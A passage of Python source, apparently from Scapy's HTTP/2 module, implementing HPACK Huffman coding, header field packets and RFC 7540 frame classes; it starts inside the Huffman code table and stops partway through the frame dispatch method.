(0x5, 5), (0x25, 6), (0x26, 6), (0x27, 6), (0x6, 5), (0x74, 7), (0x75, 7), (0x28, 6), (0x29, 6), (0x2a, 6), (0x7, 5), (0x2b, 6), (0x76, 7), (0x2c, 6), (0x8, 5), (0x9, 5), (0x2d, 6), (0x77, 7), (0x78, 7), (0x79, 7), (0x7a, 7), (0x7b, 7), (0x7ffe, 15), (0x7fc, 11), (0x3ffd, 14), (0x1ffd, 13), (0xffffffc, 28), (0xfffe6, 20), (0x3fffd2, 22), (0xfffe7, 20), (0xfffe8, 20), (0x3fffd3, 22), (0x3fffd4, 22), (0x3fffd5, 22), (0x7fffd9, 23), (0x3fffd6, 22), (0x7fffda, 23), (0x7fffdb, 23), (0x7fffdc, 23), (0x7fffdd, 23), (0x7fffde, 23), (0xffffeb, 24), (0x7fffdf, 23), (0xffffec, 24), (0xffffed, 24), (0x3fffd7, 22), (0x7fffe0, 23), (0xffffee, 24), (0x7fffe1, 23), (0x7fffe2, 23), (0x7fffe3, 23), (0x7fffe4, 23), (0x1fffdc, 21), (0x3fffd8, 22), (0x7fffe5, 23), (0x3fffd9, 22), (0x7fffe6, 23), (0x7fffe7, 23), (0xffffef, 24), (0x3fffda, 22), (0x1fffdd, 21), (0xfffe9, 20), (0x3fffdb, 22), (0x3fffdc, 22), (0x7fffe8, 23), (0x7fffe9, 23), (0x1fffde, 21), (0x7fffea, 23), (0x3fffdd, 22), (0x3fffde, 22), (0xfffff0, 24), (0x1fffdf, 21), (0x3fffdf, 22), (0x7fffeb, 23), (0x7fffec, 23), (0x1fffe0, 21), (0x1fffe1, 21), (0x3fffe0, 22), (0x1fffe2, 21), (0x7fffed, 23), (0x3fffe1, 22), (0x7fffee, 23), (0x7fffef, 23), (0xfffea, 20), (0x3fffe2, 22), (0x3fffe3, 22), (0x3fffe4, 22), (0x7ffff0, 23), (0x3fffe5, 22), (0x3fffe6, 22), (0x7ffff1, 23), (0x3ffffe0, 26), (0x3ffffe1, 26), (0xfffeb, 20), (0x7fff1, 19), (0x3fffe7, 22), (0x7ffff2, 23), (0x3fffe8, 22), (0x1ffffec, 25), (0x3ffffe2, 26), (0x3ffffe3, 26), (0x3ffffe4, 26), (0x7ffffde, 27), (0x7ffffdf, 27), (0x3ffffe5, 26), (0xfffff1, 24), (0x1ffffed, 25), (0x7fff2, 19), (0x1fffe3, 21), (0x3ffffe6, 26), (0x7ffffe0, 27), (0x7ffffe1, 27), (0x3ffffe7, 26), (0x7ffffe2, 27), (0xfffff2, 24), (0x1fffe4, 21), (0x1fffe5, 21), (0x3ffffe8, 26), (0x3ffffe9, 26), (0xffffffd, 28), (0x7ffffe3, 27), (0x7ffffe4, 27), (0x7ffffe5, 27), (0xfffec, 20), (0xfffff3, 24), (0xfffed, 20), (0x1fffe6, 21), (0x3fffe9, 22), (0x1fffe7, 21), (0x1fffe8, 21), (0x7ffff3, 23), (0x3fffea, 22), (0x3fffeb, 22), (0x1ffffee, 25), (0x1ffffef, 25), (0xfffff4, 24), (0xfffff5, 24), (0x3ffffea, 26), (0x7ffff4, 23), (0x3ffffeb, 26), (0x7ffffe6, 27), (0x3ffffec, 26), (0x3ffffed, 26), (0x7ffffe7, 27), (0x7ffffe8, 27), (0x7ffffe9, 27), (0x7ffffea, 27), (0x7ffffeb, 27), (0xffffffe, 28), (0x7ffffec, 27), (0x7ffffed, 27), (0x7ffffee, 27), (0x7ffffef, 27), (0x7fffff0, 27), (0x3ffffee, 26), (0x3fffffff, 30) ] static_huffman_tree = None # type: HuffmanNode @classmethod def _huffman_encode_char(cls, c): # type: (Union[str, EOS]) -> Tuple[int, int] """ huffman_encode_char assumes that the static_huffman_tree was previously initialized :param str|EOS c: a symbol to encode :return: (int, int): the bitstring of the symbol and its bitlength :raises: AssertionError """ if isinstance(c, EOS): return cls.static_huffman_code[-1] else: assert isinstance(c, int) or len(c) == 1 return cls.static_huffman_code[orb(c)] @classmethod def huffman_encode(cls, s): # type: (str) -> Tuple[int, int] """ huffman_encode returns the bitstring and the bitlength of the bitstring representing the string provided as a parameter :param str s: the string to encode :return: (int, int): the bitstring of s and its bitlength :raises: AssertionError """ i = 0 ibl = 0 for c in s: val, bl = cls._huffman_encode_char(c) i = (i << bl) + val ibl += bl padlen = 8 - (ibl % 8) if padlen != 8: val, bl = cls._huffman_encode_char(EOS()) i = (i << padlen) + (val >> (bl - padlen)) ibl += padlen ret = i, ibl assert ret[0] >= 0 assert (ret[1] >= 0) return ret @classmethod def huffman_decode(cls, i, ibl): # type: (int, int) -> str """ huffman_decode decodes the bitstring provided as parameters. :param int i: the bitstring to decode :param int ibl: the bitlength of i :return: str: the string decoded from the bitstring :raises: AssertionError, InvalidEncodingException """ assert i >= 0 assert ibl >= 0 if isinstance(cls.static_huffman_tree, type(None)): cls.huffman_compute_decode_tree() assert not isinstance(cls.static_huffman_tree, type(None)) s = [] j = 0 interrupted = False cur = cls.static_huffman_tree cur_sym = 0 cur_sym_bl = 0 while j < ibl: b = (i >> (ibl - j - 1)) & 1 cur_sym = (cur_sym << 1) + b cur_sym_bl += 1 elmt = cur[b] if isinstance(elmt, HuffmanNode): interrupted = True cur = elmt if isinstance(cur, type(None)): raise AssertionError() elif isinstance(elmt, EOS): raise InvalidEncodingException('Huffman decoder met the full EOS symbol') # noqa: E501 elif isinstance(elmt, bytes): interrupted = False s.append(elmt) cur = cls.static_huffman_tree cur_sym = 0 cur_sym_bl = 0 else: raise InvalidEncodingException('Should never happen, so incidentally it will') # noqa: E501 j += 1 if interrupted: # Interrupted values true if the bitstring ends in the middle of a # symbol; this symbol must be, according to RFC7541 par5.2 the MSB # of the EOS symbol if cur_sym_bl > 7: raise InvalidEncodingException('Huffman decoder is detecting padding longer than 7 bits') # noqa: E501 eos_symbol = cls.static_huffman_code[-1] eos_msb = eos_symbol[0] >> (eos_symbol[1] - cur_sym_bl) if eos_msb != cur_sym: raise InvalidEncodingException('Huffman decoder is detecting unexpected padding format') # noqa: E501 return b''.join(s) @classmethod def huffman_conv2str(cls, bit_str, bit_len): # type: (int, int) -> str """ huffman_conv2str converts a bitstring of bit_len bitlength into a binary string. It DOES NOT compress/decompress the bitstring! :param int bit_str: the bitstring to convert. :param int bit_len: the bitlength of bit_str. :return: str: the converted bitstring as a bytestring. :raises: AssertionError """ assert bit_str >= 0 assert bit_len >= 0 byte_len = bit_len // 8 rem_bit = bit_len % 8 if rem_bit != 0: bit_str <<= 8 - rem_bit byte_len += 1 # As usual the list/join tricks is a performance trick to build # efficiently a Python string s = [] # type: List[str] i = 0 while i < byte_len: s.insert(0, chb((bit_str >> (i * 8)) & 0xFF)) i += 1 return b''.join(s) @classmethod def huffman_conv2bitstring(cls, s): # type: (str) -> Tuple[int, int] """ huffman_conv2bitstring converts a string into its bitstring representation. It returns a tuple: the bitstring and its bitlength. This function DOES NOT compress/decompress the string! :param str s: the bytestring to convert. :return: (int, int): the bitstring of s, and its bitlength. :raises: AssertionError """ i = 0 ibl = len(s) * 8 for c in s: i = (i << 8) + orb(c) ret = i, ibl assert ret[0] >= 0 assert ret[1] >= 0 return ret @classmethod def huffman_compute_decode_tree(cls): # type: () -> None """ huffman_compute_decode_tree initializes/builds the static_huffman_tree :return: None :raises: InvalidEncodingException if there is an encoding problem """ cls.static_huffman_tree = HuffmanNode(None, None) i = 0 for entry in cls.static_huffman_code: parent = cls.static_huffman_tree for idx in range(entry[1] - 1, -1, -1): b = (entry[0] >> idx) & 1 if isinstance(parent[b], bytes): raise InvalidEncodingException('Huffman unique prefix violation :/') # noqa: E501 if idx == 0: parent[b] = chb(i) if i < 256 else EOS() elif parent[b] is None: parent[b] = HuffmanNode(None, None) parent = parent[b] i += 1 def __init__(self, s): # type: (str) -> None self._s = s i, ibl = type(self).huffman_encode(s) self._encoded = type(self).huffman_conv2str(i, ibl) def __str__(self): # type: () -> str return self._encoded def origin(self): # type: () -> str return plain_str(self._s) def __len__(self): # type: () -> int return len(self._encoded) class HPackStrLenField(fields.Field): """ HPackStrLenField is a StrLenField variant specialized for HTTP/2 HPack This variant uses an internal representation that implements HPackStringsInterface. # noqa: E501 """ __slots__ = ['_length_from', '_type_from'] def __init__(self, name, default, length_from, type_from): # type: (str, HPackStringsInterface, Callable[[packet.Packet], int], str) -> None # noqa: E501 super(HPackStrLenField, self).__init__(name, default) self._length_from = length_from self._type_from = type_from def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], str, HPackStringsInterface) -> str return s + self.i2m(pkt, val) @staticmethod def _parse(t, s): # type: (bool, str) -> HPackStringsInterface """ :param bool t: whether this string is a huffman compressed string. :param str s: the string to parse. :return: HPackStringsInterface: either a HPackLiteralString or HPackZString, depending on t. # noqa: E501 :raises: InvalidEncodingException """ if t: i, ibl = HPackZString.huffman_conv2bitstring(s) return HPackZString(HPackZString.huffman_decode(i, ibl)) return HPackLiteralString(s) def getfield(self, pkt, s): # type: (packet.Packet, str) -> Tuple[str, HPackStringsInterface] """ :param packet.Packet pkt: the packet instance containing this field instance. # noqa: E501 :param str s: the string to parse this field from. :return: (str, HPackStringsInterface): the remaining string after this field was carved out & the extracted # noqa: E501 value. :raises: KeyError if "type_from" is not a field of pkt or its payloads. :raises: InvalidEncodingException """ tmp_len = self._length_from(pkt) t = pkt.getfieldval(self._type_from) == 1 return s[tmp_len:], self._parse(t, s[:tmp_len]) def i2h(self, pkt, x): # type: (Optional[packet.Packet], HPackStringsInterface) -> str fmt = '' if isinstance(x, HPackLiteralString): fmt = "HPackLiteralString({})" elif isinstance(x, HPackZString): fmt = "HPackZString({})" return fmt.format(x.origin()) def h2i(self, pkt, x): # type: (packet.Packet, str) -> HPackStringsInterface return HPackLiteralString(x) def m2i(self, pkt, x): # type: (packet.Packet, str) -> HPackStringsInterface """ :param packet.Packet pkt: the packet instance containing this field instance. # noqa: E501 :param str x: the string to parse. :return: HPackStringsInterface: the internal type of the value parsed from x. # noqa: E501 :raises: AssertionError :raises: InvalidEncodingException :raises: KeyError if _type_from is not one of pkt fields. """ t = pkt.getfieldval(self._type_from) tmp_len = self._length_from(pkt) assert t is not None and tmp_len is not None, 'Conversion from string impossible: no type or length specified' # noqa: E501 return self._parse(t == 1, x[:tmp_len]) def any2i(self, pkt, x): # type: (Optional[packet.Packet], Union[str, HPackStringsInterface]) -> HPackStringsInterface # noqa: E501 """ :param packet.Packet|None pkt: the packet instance containing this field instance. # noqa: E501 :param str|HPackStringsInterface x: the value to convert :return: HPackStringsInterface: the Scapy internal value for this field :raises: AssertionError, InvalidEncodingException """ if isinstance(x, bytes): assert isinstance(pkt, packet.Packet) return self.m2i(pkt, x) assert isinstance(x, HPackStringsInterface) return x def i2m(self, pkt, x): # type: (Optional[packet.Packet], HPackStringsInterface) -> str return raw(x) def i2len(self, pkt, x): # type: (Optional[packet.Packet], HPackStringsInterface) -> int return len(x) def i2repr(self, pkt, x): # type: (Optional[packet.Packet], HPackStringsInterface) -> str return repr(self.i2h(pkt, x)) ############################################################################### # HPACK Packets # ############################################################################### class HPackHdrString(packet.Packet): """ HPackHdrString is a packet that that is serialized into a RFC7541 par5.2 string literal repr. """ name = 'HPack Header String' fields_desc = [ fields.BitEnumField('type', None, 1, {0: 'Literal', 1: 'Compressed'}), FieldUVarLenField('len', None, 7, length_of='data'), HPackStrLenField( 'data', HPackLiteralString(''), length_from=lambda pkt: pkt.getfieldval('len'), type_from='type' ) ] def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass # Trick to tell scapy that the remaining bytes of the currently # dissected string is not a payload of this packet but of some other # underlayer packet return config.conf.padding_layer def self_build(self, **kwargs): # type: (Any) -> str """self_build is overridden because type and len are determined at build time, based on the "data" field internal type """ if self.getfieldval('type') is None: self.type = 1 if isinstance(self.getfieldval('data'), HPackZString) else 0 # noqa: E501 return super(HPackHdrString, self).self_build(**kwargs) class HPackHeaders(packet.Packet): """HPackHeaders uses the "dispatch_hook" trick of Packet_metaclass to select the correct HPack header packet type. For this, the first byte of the string # noqa: E501 to dissect is snooped on. """ @classmethod def dispatch_hook(cls, s=None, *_args, **_kwds): # type: (Optional[str], *Any, **Any) -> Packet_metaclass """dispatch_hook returns the subclass of HPackHeaders that must be used to dissect the string. """ if s is None: return config.conf.raw_layer fb = orb(s[0]) if fb & 0x80 != 0: return HPackIndexedHdr if fb & 0x40 != 0: return HPackLitHdrFldWithIncrIndexing if fb & 0x20 != 0: return HPackDynamicSizeUpdate return HPackLitHdrFldWithoutIndexing def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass return config.conf.padding_layer class HPackIndexedHdr(HPackHeaders): """ HPackIndexedHdr implements RFC 7541 par6.1 """ name = 'HPack Indexed Header Field' fields_desc = [ HPackMagicBitField('magic', 1, 1), UVarIntField('index', 2, 7) # Default "2" is ":method GET" ] class HPackLitHdrFldWithIncrIndexing(HPackHeaders): """ HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.1 """ name = 'HPack Literal Header With Incremental Indexing' fields_desc = [ HPackMagicBitField('magic', 1, 2), UVarIntField('index', 0, 6), # Default is New Name fields.ConditionalField( fields.PacketField('hdr_name', None, HPackHdrString), lambda pkt: pkt.getfieldval('index') == 0 ), fields.PacketField('hdr_value', None, HPackHdrString) ] class HPackLitHdrFldWithoutIndexing(HPackHeaders): """ HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.2 and par6.2.3 """ name = 'HPack Literal Header Without Indexing (or Never Indexing)' fields_desc = [ HPackMagicBitField('magic', 0, 3), fields.BitEnumField( 'never_index', 0, 1, {0: "Don't Index", 1: 'Never Index'} ), UVarIntField('index', 0, 4), # Default is New Name fields.ConditionalField( fields.PacketField('hdr_name', None, HPackHdrString), lambda pkt: pkt.getfieldval('index') == 0 ), fields.PacketField('hdr_value', None, HPackHdrString) ] class HPackDynamicSizeUpdate(HPackHeaders): """ HPackDynamicSizeUpdate implements RFC 7541 par6.3 """ name = 'HPack Dynamic Size Update' fields_desc = [ HPackMagicBitField('magic', 1, 3), UVarIntField('max_size', 0, 5) ] ############################################################################### # HTTP/2 Frames # ############################################################################### class H2FramePayload(packet.Packet): """ H2FramePayload is an empty class that is a super class of all Scapy HTTP/2 Frame Packets """ # HTTP/2 Data Frame Packets # # noqa: E501 class H2DataFrame(H2FramePayload): """ H2DataFrame implements RFC7540 par6.1 This packet is the Data Frame to use when there is no padding. """ type_id = 0 END_STREAM_FLAG = 0 # 0x1 PADDED_FLAG = 3 # 0x8 flags = { END_STREAM_FLAG: fields.MultiFlagsEntry('ES', 'End Stream'), PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded') } name = 'HTTP/2 Data Frame' fields_desc = [ fields.StrField('data', '') ] class H2PaddedDataFrame(H2DataFrame): """ H2DataFrame implements RFC7540 par6.1 This packet is the Data Frame to use when there is padding. """ __slots__ = ['s_len'] name = 'HTTP/2 Padded Data Frame' fields_desc = [ fields.FieldLenField('padlen', None, length_of='padding', fmt="B"), fields.StrLenField('data', '', length_from=lambda pkt: pkt.get_data_len() ), fields.StrLenField('padding', '', length_from=lambda pkt: pkt.getfieldval('padlen') ) ] def get_data_len(self): # type: () -> int """ get_data_len computes the length of the data field To do this computation, the length of the padlen field and the actual padding is subtracted to the string that was provided to the pre_dissect # noqa: E501 fun of the pkt parameter :return: int; length of the data part of the HTTP/2 frame packet provided as parameter # noqa: E501 :raises: AssertionError """ padding_len = self.getfieldval('padlen') fld, fval = self.getfield_and_val('padlen') padding_len_len = fld.i2len(self, fval) ret = self.s_len - padding_len_len - padding_len assert ret >= 0 return ret def pre_dissect(self, s): # type: (str) -> str """pre_dissect is filling the s_len property of this instance. This property is later used during the getfield call of the "data" field when # noqa: E501 trying to evaluate the length of the StrLenField! This "trick" works because the underlayer packet (H2Frame) is assumed to override the "extract_padding" method and to only provide to this packet the data necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 """ self.s_len = len(s) return s # HTTP/2 Header Frame Packets # # noqa: E501 class H2AbstractHeadersFrame(H2FramePayload): """Superclass of all variants of HTTP/2 Header Frame Packets. May be used for type checking. """ class H2HeadersFrame(H2AbstractHeadersFrame): """ H2HeadersFrame implements RFC 7540 par6.2 Headers Frame when there is no padding and no priority information The choice of decomposing into four classes is probably preferable to having # noqa: E501 numerous conditional fields based on the underlayer :/ """ type_id = 1 END_STREAM_FLAG = 0 # 0x1 END_HEADERS_FLAG = 2 # 0x4 PADDED_FLAG = 3 # 0x8 PRIORITY_FLAG = 5 # 0x20 flags = { END_STREAM_FLAG: fields.MultiFlagsEntry('ES', 'End Stream'), END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers'), PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded'), PRIORITY_FLAG: fields.MultiFlagsEntry('+', 'Priority') } name = 'HTTP/2 Headers Frame' fields_desc = [ fields.PacketListField('hdrs', [], HPackHeaders) ] class H2PaddedHeadersFrame(H2AbstractHeadersFrame): """ H2PaddedHeadersFrame is the variant of H2HeadersFrame where padding flag is set and priority flag is cleared """ __slots__ = ['s_len'] name = 'HTTP/2 Headers Frame with Padding' fields_desc = [ fields.FieldLenField('padlen', None, length_of='padding', fmt='B'), fields.PacketListField('hdrs', [], HPackHeaders, length_from=lambda pkt: pkt.get_hdrs_len() ), fields.StrLenField('padding', '', length_from=lambda pkt: pkt.getfieldval('padlen') ) ] def get_hdrs_len(self): # type: () -> int """ get_hdrs_len computes the length of the hdrs field To do this computation, the length of the padlen field and the actual padding is subtracted to the string that was provided to the pre_dissect # noqa: E501 fun of the pkt parameter. :return: int; length of the data part of the HTTP/2 frame packet provided as parameter # noqa: E501 :raises: AssertionError """ padding_len = self.getfieldval('padlen') fld, fval = self.getfield_and_val('padlen') padding_len_len = fld.i2len(self, fval) ret = self.s_len - padding_len_len - padding_len assert ret >= 0 return ret def pre_dissect(self, s): # type: (str) -> str """pre_dissect is filling the s_len property of this instance. This property is later used during the parsing of the hdrs PacketListField when trying to evaluate the length of the PacketListField! This "trick" works because the underlayer packet (H2Frame) is assumed to override the # noqa: E501 "extract_padding" method and to only provide to this packet the data necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 """ self.s_len = len(s) return s class H2PriorityHeadersFrame(H2AbstractHeadersFrame): """ H2PriorityHeadersFrame is the variant of H2HeadersFrame where priority flag is set and padding flag is cleared """ __slots__ = ['s_len'] name = 'HTTP/2 Headers Frame with Priority' fields_desc = [ fields.BitField('exclusive', 0, 1), fields.BitField('stream_dependency', 0, 31), fields.ByteField('weight', 0), # This PacketListField will consume all remaining bytes; not a problem # because the underlayer (H2Frame) overrides "extract_padding" so that # this Packet only get to parser what it needs to fields.PacketListField('hdrs', [], HPackHeaders), ] class H2PaddedPriorityHeadersFrame(H2AbstractHeadersFrame): """ H2PaddedPriorityHeadersFrame is the variant of H2HeadersFrame where both priority and padding flags are set """ __slots__ = ['s_len'] name = 'HTTP/2 Headers Frame with Padding and Priority' fields_desc = [ fields.FieldLenField('padlen', None, length_of='padding', fmt='B'), fields.BitField('exclusive', 0, 1), fields.BitField('stream_dependency', 0, 31), fields.ByteField('weight', 0), fields.PacketListField('hdrs', [], HPackHeaders, length_from=lambda pkt: pkt.get_hdrs_len() ), fields.StrLenField('padding', '', length_from=lambda pkt: pkt.getfieldval('padlen') ) ] def get_hdrs_len(self): # type: () -> int """ get_hdrs_len computes the length of the hdrs field To do this computation, the length of the padlen field, the priority information fields and the actual padding is subtracted to the string that was provided to the pre_dissect fun of the pkt parameter. :return: int: the length of the hdrs field :raises: AssertionError """ padding_len = self.getfieldval('padlen') fld, fval = self.getfield_and_val('padlen') padding_len_len = fld.i2len(self, fval) bit_cnt = self.get_field('exclusive').size bit_cnt += self.get_field('stream_dependency').size fld, fval = self.getfield_and_val('weight') weight_len = fld.i2len(self, fval) ret = int(self.s_len - padding_len_len - padding_len - (bit_cnt / 8) - weight_len ) assert ret >= 0 return ret def pre_dissect(self, s): # type: (str) -> str """pre_dissect is filling the s_len property of this instance. This property is later used during the parsing of the hdrs PacketListField when trying to evaluate the length of the PacketListField! This "trick" works because the underlayer packet (H2Frame) is assumed to override the # noqa: E501 "extract_padding" method and to only provide to this packet the data necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 """ self.s_len = len(s) return s # HTTP/2 Priority Frame Packets # # noqa: E501 class H2PriorityFrame(H2FramePayload): """ H2PriorityFrame implements RFC 7540 par6.3 """ type_id = 2 name = 'HTTP/2 Priority Frame' fields_desc = [ fields.BitField('exclusive', 0, 1), fields.BitField('stream_dependency', 0, 31), fields.ByteField('weight', 0) ] # HTTP/2 Errors # # noqa: E501 class H2ErrorCodes(object): """ H2ErrorCodes is an enumeration of the error codes defined in RFC7540 par7. This enumeration is not part of any frame because the error codes are in common with H2ResetFrame and H2GoAwayFrame. """ NO_ERROR = 0x0 PROTOCOL_ERROR = 0x1 INTERNAL_ERROR = 0x2 FLOW_CONTROL_ERROR = 0x3 SETTINGS_TIMEOUT = 0x4 STREAM_CLOSED = 0x5 FRAME_SIZE_ERROR = 0x6 REFUSED_STREAM = 0x7 CANCEL = 0x8 COMPRESSION_ERROR = 0x9 CONNECT_ERROR = 0xa ENHANCE_YOUR_CALM = 0xb INADEQUATE_SECURITY = 0xc HTTP_1_1_REQUIRED = 0xd literal = { NO_ERROR: 'No error', PROTOCOL_ERROR: 'Protocol error', INTERNAL_ERROR: 'Internal error', FLOW_CONTROL_ERROR: 'Flow control error', SETTINGS_TIMEOUT: 'Settings timeout', STREAM_CLOSED: 'Stream closed', FRAME_SIZE_ERROR: 'Frame size error', REFUSED_STREAM: 'Refused stream', CANCEL: 'Cancel', COMPRESSION_ERROR: 'Compression error', CONNECT_ERROR: 'Control error', ENHANCE_YOUR_CALM: 'Enhance your calm', INADEQUATE_SECURITY: 'Inadequate security', HTTP_1_1_REQUIRED: 'HTTP/1.1 required' } # HTTP/2 Reset Frame Packets # # noqa: E501 class H2ResetFrame(H2FramePayload): """ H2ResetFrame implements RFC 7540 par6.4 """ type_id = 3 name = 'HTTP/2 Reset Frame' fields_desc = [ fields.EnumField('error', 0, H2ErrorCodes.literal, fmt='!I') ] # HTTP/2 Settings Frame Packets # # noqa: E501 class H2Setting(packet.Packet): """ H2Setting implements a setting, as defined in RFC7540 par6.5.1 """ SETTINGS_HEADER_TABLE_SIZE = 0x1 SETTINGS_ENABLE_PUSH = 0x2 SETTINGS_MAX_CONCURRENT_STREAMS = 0x3 SETTINGS_INITIAL_WINDOW_SIZE = 0x4 SETTINGS_MAX_FRAME_SIZE = 0x5 SETTINGS_MAX_HEADER_LIST_SIZE = 0x6 name = 'HTTP/2 Setting' fields_desc = [ fields.EnumField('id', 0, { SETTINGS_HEADER_TABLE_SIZE: 'Header table size', SETTINGS_ENABLE_PUSH: 'Enable push', SETTINGS_MAX_CONCURRENT_STREAMS: 'Max concurrent streams', SETTINGS_INITIAL_WINDOW_SIZE: 'Initial window size', SETTINGS_MAX_FRAME_SIZE: 'Max frame size', SETTINGS_MAX_HEADER_LIST_SIZE: 'Max header list size' }, fmt='!H'), fields.IntField('value', 0) ] def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass return config.conf.padding_layer class H2SettingsFrame(H2FramePayload): """ H2SettingsFrame implements RFC7540 par6.5 """ type_id = 4 ACK_FLAG = 0 # 0x1 flags = { ACK_FLAG: fields.MultiFlagsEntry('A', 'ACK') } name = 'HTTP/2 Settings Frame' fields_desc = [ fields.PacketListField('settings', [], H2Setting) ] def __init__(self, *args, **kwargs): """__init__ initializes this H2SettingsFrame If a _pkt arg is provided (by keyword), then this is an initialization from a string to dissect and therefore the length of the string to dissect have distinctive characteristics that we might want to check. This is possible because the underlayer packet (H2Frame) overrides extract_padding method to provided only the string that must be parsed by this packet! :raises: AssertionError """ # RFC7540 par6.5 p36 assert ( len(args) == 0 or ( isinstance(args[0], bytes) and len(args[0]) % 6 == 0 ) ), 'Invalid settings frame; length is not a multiple of 6' super(H2SettingsFrame, self).__init__(*args, **kwargs) # HTTP/2 Push Promise Frame Packets # # noqa: E501 class H2PushPromiseFrame(H2FramePayload): """ H2PushPromiseFrame implements RFC7540 par6.6. This packet is the variant to use when the underlayer padding flag is cleared """ type_id = 5 END_HEADERS_FLAG = 2 # 0x4 PADDED_FLAG = 3 # 0x8 flags = { END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers'), PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded') } name = 'HTTP/2 Push Promise Frame' fields_desc = [ fields.BitField('reserved', 0, 1), fields.BitField('stream_id', 0, 31), fields.PacketListField('hdrs', [], HPackHeaders) ] class H2PaddedPushPromiseFrame(H2PushPromiseFrame): """ H2PaddedPushPromiseFrame implements RFC7540 par6.6. This packet is the variant to use when the underlayer padding flag is set """ __slots__ = ['s_len'] name = 'HTTP/2 Padded Push Promise Frame' fields_desc = [ fields.FieldLenField('padlen', None, length_of='padding', fmt='B'), fields.BitField('reserved', 0, 1), fields.BitField('stream_id', 0, 31), fields.PacketListField('hdrs', [], HPackHeaders, length_from=lambda pkt: pkt.get_hdrs_len() ), fields.StrLenField('padding', '', length_from=lambda pkt: pkt.getfieldval('padlen') ) ] def get_hdrs_len(self): # type: () -> int """ get_hdrs_len computes the length of the hdrs field To do this computation, the length of the padlen field, reserved, stream_id and the actual padding is subtracted to the string that was provided to the pre_dissect fun of the pkt parameter. :return: int: the length of the hdrs field :raises: AssertionError """ fld, padding_len = self.getfield_and_val('padlen') padding_len_len = fld.i2len(self, padding_len) bit_len = self.get_field('reserved').size bit_len += self.get_field('stream_id').size ret = int(self.s_len - padding_len_len - padding_len - (bit_len / 8) ) assert ret >= 0 return ret def pre_dissect(self, s): # type: (str) -> str """pre_dissect is filling the s_len property of this instance. This property is later used during the parsing of the hdrs PacketListField when trying to evaluate the length of the PacketListField! This "trick" works because the underlayer packet (H2Frame) is assumed to override the # noqa: E501 "extract_padding" method and to only provide to this packet the data necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 """ self.s_len = len(s) return s # HTTP/2 Ping Frame Packets # # noqa: E501 class H2PingFrame(H2FramePayload): """ H2PingFrame implements the RFC 7540 par6.7 """ type_id = 6 ACK_FLAG = 0 # 0x1 flags = { ACK_FLAG: fields.MultiFlagsEntry('A', 'ACK') } name = 'HTTP/2 Ping Frame' fields_desc = [ fields.LongField('opaque', 0) ] def __init__(self, *args, **kwargs): """ :raises: AssertionError """ # RFC7540 par6.7 p42 assert ( len(args) == 0 or ( isinstance(args[0], (bytes, str)) and len(args[0]) == 8 ) ), 'Invalid ping frame; length is not 8' super(H2PingFrame, self).__init__(*args, **kwargs) # HTTP/2 GoAway Frame Packets # # noqa: E501 class H2GoAwayFrame(H2FramePayload): """ H2GoAwayFrame implements the RFC 7540 par6.8 """ type_id = 7 name = 'HTTP/2 Go Away Frame' fields_desc = [ fields.BitField('reserved', 0, 1), fields.BitField('last_stream_id', 0, 31), fields.EnumField('error', 0, H2ErrorCodes.literal, fmt='!I'), fields.StrField('additional_data', '') ] # HTTP/2 Window Update Frame Packets # # noqa: E501 class H2WindowUpdateFrame(H2FramePayload): """ H2WindowUpdateFrame implements the RFC 7540 par6.9 """ type_id = 8 name = 'HTTP/2 Window Update Frame' fields_desc = [ fields.BitField('reserved', 0, 1), fields.BitField('win_size_incr', 0, 31) ] def __init__(self, *args, **kwargs): """ :raises: AssertionError """ # RFC7540 par6.9 p46 assert ( len(args) == 0 or ( isinstance(args[0], (bytes, str)) and len(args[0]) == 4 ) ), 'Invalid window update frame; length is not 4' super(H2WindowUpdateFrame, self).__init__(*args, **kwargs) # HTTP/2 Continuation Frame Packets # # noqa: E501 class H2ContinuationFrame(H2FramePayload): """ H2ContinuationFrame implements the RFC 7540 par6.10 """ type_id = 9 END_HEADERS_FLAG = 2 # Ox4 flags = { END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers') } name = 'HTTP/2 Continuation Frame' fields_desc = [ fields.PacketListField('hdrs', [], HPackHeaders) ] # HTTP/2 Base Frame Packets # # noqa: E501 _HTTP2_types = { 0: 'DataFrm', 1: 'HdrsFrm', 2: 'PrioFrm', 3: 'RstFrm', 4: 'SetFrm', 5: 'PushFrm', 6: 'PingFrm', 7: 'GoawayFrm', 8: 'WinFrm', 9: 'ContFrm' } class H2Frame(packet.Packet): """ H2Frame implements the frame structure as defined in RFC 7540 par4.1 This packet may have a payload (one of the H2FramePayload) or none, in some rare cases such as settings acknowledgement) """ name = 'HTTP/2 Frame' fields_desc = [ fields.X3BytesField('len', None), fields.EnumField('type', None, _HTTP2_types, "b"), fields.MultiFlagsField('flags', set(), 8, { H2DataFrame.type_id: H2DataFrame.flags, H2HeadersFrame.type_id: H2HeadersFrame.flags, H2PushPromiseFrame.type_id: H2PushPromiseFrame.flags, H2SettingsFrame.type_id: H2SettingsFrame.flags, H2PingFrame.type_id: H2PingFrame.flags, H2ContinuationFrame.type_id: H2ContinuationFrame.flags, }, depends_on=lambda pkt: pkt.getfieldval('type') ), fields.BitField('reserved', 0, 1), fields.BitField('stream_id', 0, 31) ] def guess_payload_class(self, payload): # type: (str) -> Packet_metaclass """ guess_payload_class returns the Class object to use for parsing a payload This function uses the H2Frame.type field value to decide which payload to parse. The implement cannot be # noqa: E501 performed using the simple bind_layers helper because sometimes the selection of which Class object to return # noqa: E501 also depends on the H2Frame.flags value. :param payload: :return:: """ if len(payload) == 0: return packet.NoPayload t = self.getfieldval('type') if t == H2DataFrame.type_id: if H2DataFrame.flags[H2DataFrame.PADDED_FLAG].short in self.getfieldval('flags'): # noqa: E501 return H2PaddedDataFrame return H2DataFrame if t == H2HeadersFrame.type_id: if H2HeadersFrame.flags[H2HeadersFrame.PADDED_FLAG].short in self.getfieldval('flags'): # 